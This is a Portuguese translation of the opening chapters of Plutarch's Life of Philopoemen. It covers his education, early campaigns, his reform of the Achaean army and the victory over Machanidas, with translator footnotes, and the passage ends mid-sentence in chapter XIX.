VIDA DE FILOPÊMENE – PLUTARCO – VIDAS PARALELAS

 

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FILOPÊMENE

SUMÁRIO DA VIDA DE FILOPÊMENE

I. Nascimento de Filopêmene e sua
educação por Cassandro. II. Instrução de sua juventude pelos filósofos Ecdemo e
Demófanes. III. Qualidades exteriores de sua personalidade. IV. Seu
caráter e suas inclinações. V. Suas primeiras campanhas e outras ocupações. VI. Escolha
de suas leituras, o que procurava e como o aplicava. VII. Vai em
socorro de Me-galópolis; conselho que dã aos megalopolitanos. VIII. Primeira
façanha de Filopêmene. IX. É ferido por um dardo, que lhe atravessa as coxas.
Admirável coragem que demonstra nessa ocasião. X. Seu elogio por
Antígono, que lhe propõe ficar ao seu lado. XI. Após uma
viagem a Cândia, Filopêmene volta à Acadia, onde é nomeado comandante da
cavalaria. Sua conduta nesse posto. XII. Mata, num combate, Demofanto.
Idéia da liga dos aqueus. XIII.
Modificações introduzidas por Filopêmene
nas armaduras e nos exercícios militares., XIV. Desvia pára a
magnificência dos equipamentos militares o gosto que os aqueus tinham pelo
luxo. XV. Acostuma-os aos exercícios militares. XVI. Alcança
uma grande vitória sobre Macânidas, tirano dos lacedemônios. XVII. Mata-o
por suas próprias mãos em combate singular. XVIII. Honra que
lhe é prestada nos jogos nemeus. XIX.
O conceito em que os aqueus e os
estrangeiros tinham Filopêmene. XX.
Liberta a cidade de Messena, ocupada pelo
tirano Nábis, sucessor de Macânidas. XXI. Segue para Cândia, a pedido
dos gortínios. XXII. Os habitantes de Megalópolis, descontentes com a sua
partida querem bani-lo, sendo disso dissuadidos? por Aristêneto. XXIII. Ê
vencido por Nábis num combate naval.’ XXIV. Desforra-se por duas vezes,
com poucos dias de intervalo. XXV.
Incorr porá a Lacedemônia na
liga dos aqueus. XXVI. Recusa o presente de grande valor que os lacedemônios
lhe enviam. XXVII. Defende a cidade de Esparta contra Flamínino e contra
Diófanes. XXVIII. Trata com grande severidade a cidade de Lacedemônia. XXIX. Lamenta-se
por não ser pretor dos aqueus. XXX.
Opõe-se â ascendência dos. romanos sobre
os aqueus. XXXI. Ataca Dinócrates. XXXII. !É
aprisionado. XXXIII. E encerrado num cárcere. XXXIV. Dor dos
aqueus e planos que fizeram diante dessa notícia. XXXV. Dinócrates
manda envenená-lo. XXXVI. Como os aqueus vingam a sua morte. Seus
funerais. XXXVII. Honras prestadas à sua memória.

Do ano 501 ao ano 571 de Roma, ou 183 A.
C.

 

VIDA DE FILOPÊMENE – PLUTARCO – VIDAS PARALELAS

Tradução de José Carlos Chaves. Fonte: Ed. das Américas

 

I. Na
cidade de Mantinéia vivia outrora um cidadão chamado Cassandro (1), pertencente
a uma das mais nobres e antigas famílias locais, e cuja reputação e autoridade
no trato dos negócios públicos eram, em seu tempo, maiores do que os de
qualquer outra pessoa. Todavia, a fortuna tornou-se-lhe depois adversa, de modo
que foi expulso de seu país, retirando-se para a cidade de Megalópolis (2),
para onde o levou principalmente a amizade que o ligava a Crausis (3), pai de
Filopêmene, homem excelente, liberal e magnânimo afeiçoado à sua terra.
Enquanto Crausis viveu, Cassandro foi por êle tão bem tratado que nada lhe
faltou. Após sua morte, querendo retribuir-lhe a boa acolhida e o amistoso
tratamento que recebera, criou e educou o seu filho, que ficara órfão, da mesma
maneira como Aquiles foi criado e educado pelo velho Fênice (1), segundo conta
Homero. O caráter do menino tomou logo uma feição verdadeiramente generosa,
fazendo a sua educação, que era digna de um príncipe, grandes progressos.

 

(1)     
Pausânias e Suidas chamam-no
Cleandro.

(2)     
Megalópolis e Mantinéia eram
cidades da Arcádia. Nesta Vida de Filopêmene, Amyot escreveu Megalipólis em vez
de Megalópolis, e Messina em vez de Messena.

(3)
Pausânias cita-o, em certo lugar, como Craugis, e em outro como Crantis. Mas,
ao que parece, trata-se de erros que podem ser atribuídos aos copistas. Suidas
chama-o Craugis, e é assim que seu nome aparece na inscrição colocada na
estátua de Filopêmene, em Tégea.

 

 

II. Ao
sair da infância, Eudemo e Demófanes (2), ambos megalopolitanos, tomaram-no sob
os seus cuidados. Eram dois filósofos, que tinham assistido às aulas de
Arcesilau, na escola da Academia, e que depois, tanto ou mais do que qualquer
outra pessoa de seu tempo, aplicaram os seus conhecimentos de filosofia na
política e no trato das grandes questões. Com efeito, libertaram a sua cidade
da tirania de um Aristódemo, que a mantinha sob o jugo da servidão, instigando
contra êle aqueles que o vieram a matar; auxiliaram Arato a expulsar de Sicião
o tirano Nicocles; e, a pedido dos cireneus, afligidos por comoções e
divergências intestinas, foram a Cirena, onde estabeleceram boas leis e uma
excelente forma de governo. No entanto, consideravam como uma de suas mais
belas ações a criação e a educação de Filopêmene; e, instruindo uma personalidade
de tal natureza nos preceitos da filosofia, acreditaram ter prestado a toda a
Grécia um grande serviço. E também, na verdade, a Grécia o amou singularmente como o último homem de virtude que
produziu em sua velhice, depois de tantos grandes e renomados capitães, e
aumentou-lhe a autoridade e poderio, à medida que sua glória crescia. Houve
mesmo um romano que, para elogiá-lo devidamente, chamou-o o último dos gregos,
como se quisesse dizer que, depois dele, a Grécia jamais possuíra um grande
homem digno dela.

(1)     
Homero, Ilíada, liv. IX.

(2)      Pausânias chama-os Ecdelo e Megalófone. Suidas cita as
duas versões, a primeira de Políbio, e a de Pausânias. A autoridade de Políbio
é maior, sem dúvida nenhuma, pois era de Megalópolis, e filho de Licortas,
contemporâneo de Filopêmene.

 

III.
No que se refere a sua pessoa, Filopêmene
não era feio de rosto, como dizem alguns; e isto se pode verificar ainda hoje
pelo seu retrato de corpo inteiro (1) existente na cidade de Delfos. E quanto
ao que dizem de uma sua hospedeira, na cidade de Mégara, a qual o tomou por um
criado, isso aconteceu per não ter êle muito cuidado consigo, por vestir-se
sempre muito simplesmente. Esta sua hospedeira, tendo sido avisada de que o
comandante-pjeral dos aqueus ia hospedar-se em seu albergue, muito se
preocupou, atormentando-se mesmo, em preparar-lhe a ceia, pois aconteceu que
seu marido, na ocasião, não se encontrava em casa. E quando Filopômene chegou, trazendo um velho capote, ela, vendo-o nesse traje, pensou que fosse um de seus
.servidores enviado com antecedência para preparar as acomodações. Pediu-lhe,
então, que a ajudasse nos serviços da cozinha; e êle, tirando incontinenti o
Capote, pôs-se a rachar lenha. Mas nesse ínterim,o marido chegou, e,
vendo-o tão ocupado, perguntou-lhe: "Oh! que significa isto, senhor
Filopêmene?" "Significa apenas, responde em sua língua dórica, que
estou pagando por não ser um belo rapaz, nem homem de bela aparência", É
verdade que Tito Quíncio lhe disse um dia, querendo, segundo parece, caçoar do
jeito do seu corpo: "Filopêmene, tens belas mãos e belas pernas, mas não
tens ventre". Isto foi dito porque êle era muito delgado na parte baixa do
corpo. Todavia, parece-me que esta caçoada se dirigia antes à qualidade de seu
exército, e não ao seu corpo, e isto porque, embora tivesse bons soldados a pé
e a cavalo, faltava-lhe quase sempre dinheiro para mantê-los e alimentá-los.
Trata-se de coisas que se contam nas escolas a propósito de Filopêmene.

(1) Era uma estátua. V. o capítulo XVII.

 

IV. Quanto à sua índole e ao seu caráter, parece que a sua
ambição e o desejo que tinha de alcançar honras através de suas ações, não
estavam isentos de certa teimosia e de certo rancor. Querendo, seguir em tudo o
exemplo de Epaminondas, seu mo-dêlo, êle imitou bem o seu espírito
empreendedor, a’ sua prudência e a sua extrema preocupação em não se deixar
corromper c nem ser dominado pelo dinheiro. No entanto, nas disputas e nas
pendências que ocorrem na vida civil, êle não conseguiu, às vezes, conter-se
nos limites da ponderação, da paciência e da benevolência; e assim se
desmandava freqüentemente, por cólera e por obstinação. Nestas ocasiões,
parecia que era possuidor, mais de qualidades de bom capitão, para a guerra,
do que de sábio governante, para a paz. Desde a infância, êle sempre procurou a
companhia dos guerreiros e das armas, e demonstrava o maior entusiasmo pelos
exercícios do corpo mais indicados para iniciá-lo na arte militar, como
esgrimir, voltear e picar cavalos. E à medida que se tornava mais aparente a
sua inclinação natural para a luta, os seus amigos, e todos os que dele cuidavam,
aconselhavam-no a se entregar às pelejas. Filo-pêmene perguntava-lhes, então,
se a vida seguida por aqueles que se dedicavam aos exercícios de ginásio não
viria constituir um empecilho aos exercícios da guerra. Responderam-lhe que o
comportamento pessoal e a maneira de viver dos atletas, e de todos os
que se dedicavam a atividades semelhantes, eram em tudo e por tudo diferentes’
da vida seguida por um bom homem de guerra, mesmo quanto aos seus exercícios
habituais; pois os atletas se preocupavam em manter e aumentar o seu peso,
dormindo, bebendo e comendo continuamente, trabalhando e repousando a horas
certas, sem delas se afastar um só minuto; e corriam sempre o risco de perder
a força e a rijeza do corpo, caso fizessem o menor excesso ou saíssem de seus hábitos,
por pouco que fosse. Ao contrário, o;; homens de guerra deviam ser habituados e
estar preparados para as diversidades e desigualdades de vida, bem como deviam
aprender desde a mocidade a suportar facilmente a falta de todas as coisas
necessárias
à existência, e acostumar-se a passar noites sem dormir. Filopêmene, após ouvir
o que lhe diziam, desistiu de todos os exercícios de ginásio e deles passou a
zombar; e, quando se tornou chefe do exército, aplicou-se, cobrindo-os de
opróbrios e injúrias, em extinguir inteiramente a sua prática, pois tornava
inúteis para o trabalho e os combates necessários à defesa de seu país os
corpos dos homens, os quais, de outro modo, seriam todos aptos e úteis.

V.
Entrementes, logo que ficou livre do domínio
dos mestres e mentores, e que começou a fazer uso das armas, participando das
incursões realizadas pelos guerreiros de Mantinéia na terra dos lacedemônios,
com o fito de apanhá-los de surpresa ou pilhar algo, acostumou-se a ser sempre
o primeiro a partir e o último a voltar. E quando estava inativo, em tempo de
paz ou de trégua, enrijava o corpo e o tornava disposto, ágil e robusto,
entregando-se à caça ou cultivando a terra, pois possuía uma bela propriedade,
distante apenas vinte estádios da cidade, para onde se dirigia geralmente após
o jantar ou a ceia.-Chegada a noite, atirava-se sobre uma pobre enxerga, . e
ali repousava, como o faziam os seus mais humildes empregados. E, ao
alvorecer, ia com os vinhateiros trabalhar nas vinhas, ou com os lavradores
dirigir a charrua. Retornava depois à cidade, onde tratava dos negócios
públicos com seus amigos, ou com os funcionários e magistrados. Tudo o que
conseguia poupar ou ganhar na guerra, êle o despendia na compra de belos
cavalos ou na confecção de ricos arneses, ou ainda com o resgate de seus concidadãos
que haviam sido aprisionados na guerra. Quanto aos seus bens, procurava
conservá-los e aumentá-los unicamente através da renda da terra cultivada, pois
era o meio que julgava mais reto e justo. E não se dedicava a esse trabalho
apenas para passar o tempo, à maneira de divertimento; mas nele se aplicava com
grande solicitude, persuadido de que todos os homens de honra devem trabalhar
para a boa administração’ e ampliação de seus bens, não tendo assim ocasião de
apetecer ou usurpar o alheio.

VI. Êle gostava de
instruir-se, e lia os livros dos filósofos. Não todos, é verdade, mas somente
aqueles que o pudessem ajudar a tornar-se cada vez mais virtuoso; e, de Homero,
não lia senão as passagens que lhe pareciam capazes de tocar o coração dos
homens, levando-os ao amor dos grandes feitos. Entre todas as leituras, porém
tinha particular inclinação pelos livros de Evangelho (1), que ensinava a arte
e a maneira de conduzir as batalhas, e também pelas narrativas dos feitos e
gestos de Alexandre, o Grande. Dizia que as palavras deviam ter sempre a ação
como objetivo; a não ser que se quisesse falar por puro prazer, atirar palavras
ao ar sem nenhum proveito. Não se contentava em ver nos livros sobre a arte de
preparar e conduzir as batalhas os exemplos e os planos reproduzidos em
figuras, mas queria adquirir experiência e ter as provas do exposto no
próprio campo de ação. Deste modo, quando o seu exército marchava em ordem de
batalha, êle estudava e observava, cuidadosamente, as elevações e as
depressões do terreno, bem como as formas diversas que toma um combate quando
travado num vale ou numa região cortada per rios, fossos ou desfiladeiros; e
verificava quando era necessário que as forças se distendessem ou se
concentrassem. E depois de estudar todas estas coisas, discutia-as com os que
estivessem perto dêlc. Sem dúvida nenhuma, Filopêmene foi no mundo um dos
homens que mais prezaram a arte militar, e chegou mesmo a levar muito longe a
sua paixão pelas armas. Considerava a guerra como o mais amplo campo e o objeto
mais favorável que a virtude poderia encontrar para exercitar-se, a ponto de
desprezar, como gente completamente inútil, aqueles que não seguiam a carteira
militar.

 

(1) Autor antigo,
que escreveu sobre tática. (N. do E.).

 

VII
Já estava Filopêmene com trinta anos
de idade (1), quando, uma noite, Cleômenes, rei dos lacedemônios, atacou
subitamente a cidade de Mega-lópolis: e tal foi o seu ímpeto, que dominando a
guarda, penetrou até à praça pública. Filopêmene acorreu em socorro de seus
concidadãos; mas, não obstante os esforços prodigiosos que desenvolveu,
e todos os perigos a que se expôs, não conseguiu rechaçar o inimigo.
Conseguiu, no entantr dar aos megalopolitanos o tempo necessário para se
porem a salvo e saírem da cidade, contendo aqueles que o perseguiam e atraindo
Cleômenes, Foi o último a sair e só o fez depois de enfrentar grandes
dificuldades e de ver, já ferido êle próprio, o seu cavalo cair morto. Alguns
dias depois, quando Cleômenes soube que os megalopolitanos tinham se retirado
para Messena, mandou-lhes dizer que estava disposto a restituir-lhes a cidade,
com todas as suas riquezas e bens. Filopê-mene, vendo que seus concidadãos
estavam muito alegres cem a notícia, e se mostravam dispostos a regressar
imediatamente, dissuadiu-os de seu propósito, tornando claro que Cleômenes não
desejava devolver-lhes Megalópolis, mas sim ‘assenhorear-se também deles, para
dominar com maior segurança a cidade, na previsão de que ali não poderia permanecer
sempre para guardar muralhas e casas vazias, e de que acabaria sendo
constrangido a partir. Estes argumentos contiveram os megalopolitanos, mas também
serviram de pretexto a Cleômenes para queimar e destruir uma grande parte da
cidade, da qual levou uma rica presa.

(1) No ano 531 de Roma.

 

VIII. Algum tempo depois, o
rei Antígono veio em socorro dos aqueus, marchando contra Cleômenes, que havia
ocupado os pontos mais altos das montanhas da Selásia e todos os desfiladeiros.
O soberano dispôs seu exército em linha de batalha, disposto a atacar e dominar
o adversário, se possível. Filopêmene achava-se, com os megalopolitanos, na cavalaria
do rei, ao lado dos ilírios, bons combatentes a pé, e que, sendo muito
numerosos, formavam a retaguarda de todo o exército. Tinham estes recebido
ordens no sentido de não fazer qualquer movimento, até que, da ala onde se
encontrava o rei, tivesse sido erguida, atada na ponta de uma lança, uma cota
d’armas vermelhas. Entretanto, não obstante tal ordem, os ilírios não tiveram
a paciência de esperar, e decidiram tentar dominar os lacedemônios, que
ocupavam as alturas das montanhas. Os aqueus, ao contrário, permaneceram firmes
em seu lugar, obedecendo à ordem recebida. Euclidas, irmão de Cleômenes, vendo
a infantaria separada da cavalaria, ordenou incontinenti aos elementos mais dispostos
e possuidores de armas leves que avançassem, a fim de carregar, pela
retaguarda, contra os ilírios, e obrigá-los a retroceder, pois que não
contavam com o apoio de cavalaria. Essa ordem foi executada e a
infantaria ligeira de Euclidas forçou os ilírios a recuarem em desordem. Filopêmene, vendo que não seria difícil carregar sobre a infantaria ligeira e forçá-la
a retirar, e que havia chegado o momento de agir, procurou os oficiais do rei
para fazer-lhe essa sugestão. Entretanto, os oficiais, não querendo sequer
ouvi-lo, fizeram pouco caso de seus argumentos e trataram-no como a um
insensato, e isto porque êle não tinha ainda adquirido estima e reputação
bastantes para que o considerassem homem capaz de conceber e executar manobra
tão ousada. Filopêmene, então, pondo-se, sozinho, à frente de seus
concidadãos, atacou a infantaria ligeira de Euclidas, que, no meio da maior
desordem, acabou pondo-se em fuga, sendo grande a carnificina.

IX. Para encorajar ainda mais os soldados do rei Antígono
e castigar com maior rigor o inimigo, enquanto a desordem reinava em suas
fileiras, Filo-pêmene deixou seu cavalo, e, caminhando a pé, avançou através de
caminhos tortuosos, cortados por torrentes e cheios de depressões, protegido
por uma couraça de cavaleiro e conduzindo suas armas, todas muito pesadas.
Pôs-se assim a combater com grande pena e dificuldade e, não demorou muito,
teve as duas coxas transpassadas por um dardo. O ferimento apesar de não ser mortal,
era muito grande, pois o ferro atravessou-lhe as pernas de lado a lado, tal a
violência do golpe. Êle ficou imobilizado no chão, como se lhe tivessem atado
cadeias nos pés, e não sabia o que fazer. A correia do dardo, utilizada para o
seu arremesso, causava-lhe grandes dores quando se tentava tirá-lo pelo lado
que lhe penetrara nas coxas. E, entre os presentes, ninguém ousava mais tocar
no ferro. Entretanto, o combate estava no auge e, como poderia terminar a
qualquer momento, Filopêmene, tomado de impaciência, e ansioso por lutar,
tantos movimentos fèz com as pernas, avançando uma e recuando a outra,
alternativamente, que conseguiu partir a haste do dardo em duas partes, as
quais mandou retirar, cada uma por sua vez. Apenas de novo com os movimentos livres, avançou, com a
espada na mão, entre os combatentes, e atingiu logo as primeiras filas, a fim
de enfrentar o inimigo; e. com o seu exemplo, inspirou aos megalopolitanos
tanta coragem, que todos quiseram imitar a sua proeza.

X. Antígono, após a
vitória, quando soube da verdade, perguntou aos seus oficiais macedônios quem
havia feito avançar a cavalaria, antes de tal
coisa ter sido ordenada. Os macedônios responde ram que haviam ordenado a carga
contra sua vontade, e isto porque um jovem cavaleiro megalopolitano
dera início ao ataque antes do tempo, à frente de sua companhia. Antígono
disse-lhes, então, rindo: "O
jovem cavaleiro a quem vos referis conduziu-se como um grande e valoroso capitão".
Este feito de armas, juntamente com a observação do rei, como é fácil de
imaginar, fêz com que Filopêmene adquirisse logo grande celebridade. Antígono,
que desejava colocá-lo a seu serviço, ofereceu-lhe com
insistência um comando em seu exército, bem como grandes riquezas. Mas Filopêmene
recusou tal convite, pois, conhecendo bem a sua própria natureza,
sabia que lhe seria muito difícil obedecer e ficar sob o comando de um
estranho.

XI. Todavia, como não quisesse permanecer ocioso, sem nada ter que fazer, tomou um navio e rumou para a
ilha de Cândia, onde sabia haver guerra, o que lhe permitiria exercitar-se e
tornar-se cada vez mais conhecedor da carreira das armas. E depois de
permanecer durante muito tempo entre cs can-diotas, bons combatentes e senhores
de todos cs segredos da guerra, e, além disso, muito sóbrios e acostumados a
uma vida austera, voltou à Acaia. A sua reputação tornara-se tão grande e c seu
nome tão estimado que foi logo nomeado, pelos aqueus, comandante da cavalaria.
Ao assumir o seu cargo, verificou que os cavaleiros estavam muito mal
montados. Com efeito, possuíam cavalos pequenos e sem valor, que arranjavam ao
acaso, quando tinham de partir para uma expedição. Além disso, eximiam-se quase
sempre de seguir eles próprios para o combate, mandando outras pessoas em seu
lugar. E a quase todos faltavam coragem e experiência no que respeita às coisas
da guerra. Os seus generais não cuidavam de acabar com estes abusos, porque,
entre os aqueus, os cavaleiros eram muito poderosos, tendo o poder de
distribuir punições e recompensas, motivo por que ninguém queria ofendê-los.
Filopêmene, porém, evitou seguir tal exemplo, e resolveu fazer aquilo que
julgava ser o seu dever. Começou a- percorrer todas as cidades, onde encorajava
e concitava os jovens a se tornarem senhores da arte de bem montar, punindo-os
quando necessário. Fazia-os participar de demonstrações, torneios e combates
simulados, nos próprios lugares onde sabia que se reuniria o maior número de
espectadores. Assim agindo, tornou-os em pouco tempo admiravelmente robustos e
corajosos, e, o que é mais importante, ágeis e ligeiros em seus cavalos, uma das condições principais para os combatentes se manterem em boa ordem e se conservarem em seus postos, no desenrolar da batalha. E em todas as evoluções e movimentos, quer os de esquadrão em conjunto, quer os de cavaleiros isolados, o hábito dos exercícios lhes dera tão grande eficiência que toda a tropa parecia constituir apenas um corpo, seguindo um movimento livre e voluntário, não importa o lado para onde se dirigissem.

XII. Numa grande batalha que os aqueus travaram com os etólios e os eleenses, ao longo do rio Làrisso.. Demófanto, comandante da cavalaria etólia, separando-se dos seus soldados, lançou-se sobre Filopêmene. Este, aceitando a luta, foi ao seu encontro, e contra ele desferiu um golpe com tal violência que o prostrou morto. Os combatentes inimigos, vendo que Demófanto não se movia, puseram-se em fuga. Este feito tornou ainda maior a fama de Filopêmene, reconhecendo todos que ele não cedia em coragem e firmeza aos mais jovens, e nem em prudência e sabedoria aos mais velhos, na arte de bem conduzir uma batalha. É verdade que o primeiro a elevar a comunidade dos aqueus a um alto grau de poderio e dignidade foi Arato. Antes dele, pouco fora feito, e isto porque cada cidade cuidava apenas de seus interesses. Arato promoveu a sua união, estabelecendo para todas um governo baseado nos princípios da honestidade e digno de uma nação grega. Quando, no leito dos rios e riachos, qualquer coisa, por pequena que seja, imobiliza-se num ponto qualquer, tudo o que as águas arrastam a ela vai se juntando; e assim vai se formando, aos poucos, um corpo que incessantemente ganha volume e consistência. Do mesmo modo, a Grécia, cujas cidades estavam separadas umas das outras, achava-se num estado de fraqueza que a expunha a uma ruína total. Os aqueus foram os primeiros a se reunir, atraindo depois as outras cidades da vizinhança: ajudavam umas a se livrarem da opressão dos tiranos, e conquistavam outras com o seu exemplo de união e concórdia, com a excelência de seu governo. Tinham desta maneira a intenção de reunir todos os povos do Pelopo-neso num único corpo e numa só potência. Mas enquanto Arato viveu, eles ficaram, de certo modo, na dependência das armas dos macedônios, permanecendo ligados primeiramente a Ptolomeu, e depois a Antígono e a Filipe, que intervinham e participavam de todos os negócios da Grécia. Entretanto, quando Filopêmene se colocou à frente do governo, ocupando o primeiro lugar entre os aqueus, estes passaram a sentir-se capazes de resistir às nações mais poderosas, e deixaram de marchar sob bandeiras de outros povos, bem como de servir-se de governantes e capitães estrangeiros. Arato, que não tinha, segundo parece, as qualidades necessárias para ser um grande general, deveu, como mostramos, com porme-nores, em sua vida, à sua afabilidade, ao seu espírito cortês, às relações de amizade que mantinha com os
reis, o êxito da maior parte de seus empreendimentos.

XIII. Entretanto,
sob o governo de Filopêmene, homem valoroso e ousado, que granjeou fama logo
nos seus primeiros .combates, saindo-se bem de suas empresas, os aqueus
redobraram de coragem ao ver que, sob sua direção, derrotavam sempre os inimigos
e que o seu poderio era cada vez maior. Logo após assumir suas funções,
Filopêmene modificou o modo de dispor as tropas para a batalha usado pelos
aqueus, bem como suas armaduras. Até então usavam pequenos escudos muito
leves; e tão estreitos e delgados eram que não lhes cobriam o corpo todo. Suas
lanças eram muito mais curtas que os piques dos macedônios; e, se a sua leveza
as tornava próprias para as escaramuças e combates a distância, o mesmo não
acontecia na luta corpo a corpo, na qual o inimigo tinha nítida vantagem sobre
eles, E quanto a ordenação das tropas para a batalha, eles não estavam
acostumados ao chamado sistema de caracol ou espiral (1). Serviam-se somente da
falange quadrada, que não tinha uma frente propriamente dita, na qual
pudessem cerrar seus escudos e juntar as lanças das diversas fileiras, como
faziam os macedônios, para que os soldados desferissem seus golpes
ao mesmo tempo. E como não o fizessem, eram facilmente separados uns dos
outros e repelidos. Filopêmene tratou de corrigir logo estas deficiências,
persuadindo-os a substituírem os seus escudos e lanças curtas ou chuços per
tarjas e piques, e a protegerem as cabeças com morriões, os
corpos com couraças e as coxas com boas escarcelas. E, a fim de que não
corressem de um lado para outro e se movimentassem como tropas ligeiras, êle os
ensinou a combater com firmeza, sem recuar ou ceder.

(1)
No grego: ordená-las em espira. Esta formação em espiral devia estender-se numa
linha semi-circular, facilitando-lhe os movimentos.

 

XIV. Filopêmene armou também
todos os jovens que se achavam em idade de prestar serviço militar; e.
convencendo-os de que poderiam tornar-se invencíveis, infundiu-lhes grande
coragem e confiança. Em seguida, fêz com que moderassem o seu luxo excessivo e
suas despesas com coisas supérfluas; pois não teria sido possível tirar-lhes
inteiramente a inclinação por determinados prazeres, nem a sua vaidade.
Gostavam, com efeito, de trajes ricos, de guarnecer suas casas com leitos e
tapeçarias suntuosas, bem cano de mesas servidas com opulência e refinamento.
Para desviar esta inclinação pelas coisas supérfluas e o seu amor ao luxo para
as coisas úteis e honestas, êle procurou persuadi-los a diminuírem um pouco as
despesas com suas próprias pessoas, tanto no que se refere às roupas cemo à
mesa, a fim de, com o que poupassem, mostrarem-se magnificentes no que respeita
às suas armas e a todos os equipamentos de guerra. Viram-se logo as oficinas
dos alfagemes encherem-se de taças e de vasos preciosos,os quais eram reduzidos
a pedaços, a fim de serem fundidos e transformados em couraças, escudos e
freios dourados ou prateados. Nas liças e outros lugares adequados se viam
cavalos novos que eram domados e amestrados, e jovens que se exercitavam na
arte da guerra. E nas mãos das mulheres não se viam senão capacetes, nos quais
colocavam penachos das mais variegadas cores, cotas d’armas e capas militares
que bordavam para os cavaleiros. A visão destas coisas tornava maior a audácia
dos jovens, aumentava o seu desejo de praticar grandes feitos e arrostar os
perigos da guerra; pois a verdade é que a superfluidade e a suntuosidade de
certos outros espetáculos atraem secretamente as vontades dos homens,
levando-os ao amor do luxo, e tornando o espírito daqueles que os procuram
frouxo e afemi-nado. É uma irritação e como um prurido dos sentidos, por assim
dizer, que quebram e adormentam toda a força da alma; mas, ao contrário, quando
esta magnificência tem por objeto os equipamentos bélicos, ela a fortalece e
engrandece. Assim Homero (1) nos descreveu Aquiles que, vendo as armas para êle
forjadas por Vulcano, a pedido de sua mãe, não se continha, ardia no desejo de
usá-las.

(1) No comêco do livro XIX da Ilíada.

 

XV. Depois que Filopêmene levou a juventude da Acaia a
apreciar a tal ponto as coisas da guerra, começou a exercitá-la
continuamente no manejo das armas; e inspirou-lhe tanta emulação e ardor que
ela obedecia com prazer a todas as ordens, executando de bom grado todos os
movimentos por êle ensinados. Acharam os jovens aqueus magnífica a nova
disposição das forças para a batalha; verificaram que, combatendo com as
fileiras cerradas, muito mais dificilmente estas seriam rompidas. E, como
traziam constantemente suas armas, começaram a achá-las mais leves e de mais
fácil manejo, e grande era o seu prazer em vê-las e em as exibirem, belas e
ricas como eram. Por tudo isto, ansiavam pelo dia em que pudessem
experimentá-las e usá-las contra seus inimigos.

XVI. Os aqueus estavam então
em guerra com Macânidas, tirano da Lacedemônia, que, com tm grande e poderoso
exército, procurava por todos >s meios tornar-se senhor absoluto de todo o
Peloponeso. Logo que se soube ter êle penetrado em território de Mantinéia,
Filopêmene, sem perda de lempo, pôs-se à frente de suas tropas, indo ao seu encontro.
Os dois exércitos tomaram posição, em >rdem de batalha, perto da cidade (1).
Ambos )ossuíam, além dos combatentes do país, numerosos soldados estrangeires.
Mal se iniciara o combate, Lacânidas, com seus combatentes estrangeiros, atacou-o
com tal violência os arqueiros da vanguarda do Sército dos aqueus, que os pôs em fuga. Mas em vez de cair imediatamente
sobre o grosso das forças do adversário, a fim de tentar romper as suas
fileiras, ele começou a perseguir os fugitivos, por divertimento. Passou,
assim, ao longo da formação dos aqueus, que permaneciam firmes em seus postos.
Um tão grande revés, no começo da batalha, fêz a princípio acreditar que tudo
estivesse perdido para os aqueus. Mas Filopêmene, dissimulando o seu pensamento,
deu a entender que o, ocorrido não tinha grande importância. Quando percebeu,
logo depois, o grande erro cometido pelo adversário, deixando sua falange
desprotegida para entregar-se à perseguição dcs fugitivos, não pensou sequer em contê-los. E, no memento em que viu estarem eles a uma grande distância, caiu inopinadamente
sobre os flancos da infantaria lacedemônia. Esta, vendo Macânidas perseguir a
todo galope os arqueiros em fuga, supôs que não tinham mais de combater e que a
vitória já fora alcançada. Não contando com o seu comandante e desprovida de
cavalaria, foi desbaratada, sendo grande a carnificina. Afirma-se que mais de
quatro mil homens tombaram no campo de batalha.

(1.) No terceiro ano da 143.ª olimpíada, 206 A. C.

 

XVII.
Após derrotar a infantaria
lacedemônia, Filopêmene foi ao encontro de Macânidas, que regressava da
perseguição acs arqueiros, com seus soldados estrangeiros. Mas aconteceu que
entre êle e o tirano havia um fosso largo e profundo, cujas bordas se puseram a
percorrer durante certo tempo, um para
atravessá-lo e fugir, outro para impedir a fuga de seu inimigo. Vendo-os,
dir-se-ia que eram, não dois capitães, que se enfrentavam, mas animais ferozes
reduzidos à necessidade de se defenderem. Ou melhor: Filopêmene assemelhava-se
a um caçador hábil que não abandonava nem por um momento a sua presa.
Entretanto, em dado momento, o cavalo do tirano, que era vigoroso e cheio de
arder, sentindo-se picado pelas esporas em ambas as virilhas, a ponto de
sangrar, aventurou-se a atravessar c fosso; e, aproximando-se de uma das
bordas, ergueu-se sobre as patas traseiras para lançar-se ao outro lado. Neste
momento, Símias e Polieno, que em todos os combates costumavam permanecer ao
lado de Filopêmene, a fim de protegê-lo com os escudos, correram com suas
lanças para impedir que o cavalo saltasse. Mas Filopêmene tomou-lhes a
dianteira, avançando contra Macânidas; e, vendo que o cavalo do tirano,
mantendo a cabeça erguida, protegia-lhe o corpo, desviou um pouco o seu, para
logo em seguida arremessar com tal violência a sua lança que o
adversário caiu morto no fosso. Os aqueus, para comemorar esta grande proeza e
a conduta de Filopêmene em toda a batalha, o que os encheu de admiração, mandaram-lhe
erguer uma estátua de bronze, no templo de Apolo, em Delfos.

XVIII. Conta-se que
Filopêmene,
eleito, pela segunda vez
comandante dos aqueus, pouco tempo depois da batalha de Mantinéia, assistia aos
jogos públicos nemeus (que se celebram em
honra de Hércules, perto da cidade de Argos) (1), quando, bem humorado pelo
prazer que lhe era proporcionado, resolveu mostrar aos gregos, que se tinham
dirigido a Neméia para presenciar a festa, o seu exército disposto em ordem de
batalha, fazendo-o executar todos os movimentos que se podem tornar
necessários
aos combatentes, o que foi feito com grande vigor e rapidez.
Depois disso, dirigiu-se ao teatro, onde os músicos, fazendo soar seus
instrumentos, disputavam o prêmio de canto. Acompanhavam-no jovens trajando
capas de púrpura e trazendo suas cotas d’armas, todos na flor da idade e cheios
de vigor; demonstravam eles maior respeito e estima pelo seu comandante,
ostentando ao mesmo tempo uma certa audácia guerreira, fruto de tantos
combates gloriosos, nos quais sempre revelaram grande superioridade sobre o inimigo.
E, por acaso, no momento em que entraram, o músico Pilades, que cantava os
"Persas", poema de Timóteo, entoou estes primeiros versos:

A augusta liberdade, companheira da
glória
É hoje, para nós, o preço da vitória.

(1) As palavras
entre parênteses não figuram no texto grego. (C)

 

A gravidade dos versos, realçada pela voz clara e alta
do músico, fêz com que os olhares dos presentes se voltassem para Filopêmene;
e, logo em seguida, o teatro vibrou com os aplausos e os gritos de
alegria. Os gregos, que também tinham ido ouvir os músicos, relembraram de sua
antiga dignidade e reputação, e, confiantes, tal a sua animação, conceberam a
esperança de reconquistá-las.

XIX. Os cavalos novos não
gostam senão dos cavaleiros com os quais estão acostumados; e quando são
montados por outras pessoas, eles se assustam e se perturbam. Assim, nos
combates e nos perigos, quando o exército dos aqueus era comandado por outro
